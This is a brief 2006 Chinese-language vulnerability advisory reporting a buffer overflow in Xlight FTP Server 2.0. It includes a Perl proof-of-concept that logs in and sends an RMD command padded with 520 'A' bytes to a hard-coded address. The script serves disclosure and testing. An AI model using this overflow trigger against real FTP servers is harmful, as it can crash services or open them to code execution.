Author: ilsy
Email: ilsy@whitecell.org
Homepage:http://www.whitecell.org
Date: 2006-01-16

受影响系统:

Xlight FTP Server 2.0

描述:

Xlight FTP Server是一款强大而容易使用的FTP服务器软件.

Xlight FTP Server在处理超长命令参数时多个命令存在问题，远程攻击者可利用这些问题
以Xlight FTP Server权限执行任意指令。

验证代码:

use IO::socket::INET;

$host = "192.168.1.71";
$port = 21;
$buffer = "A" x 520;

$socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port)
|| die
"[!] Unable to connect to $host\n";

$socket->recv($recvbuf,200);
print $recvbuf;

print $socket "USER 1\r\n";
$socket->recv($recvbuf,200);
print $recvbuf;

print $socket "PASS 1\r\n";
$socket->recv($recvbuf,200);
print $recvbuf;

print $socket "RMD $buffer\r\n";
$socket->recv($recvbuf,200);
print $recvbuf;

close($socket);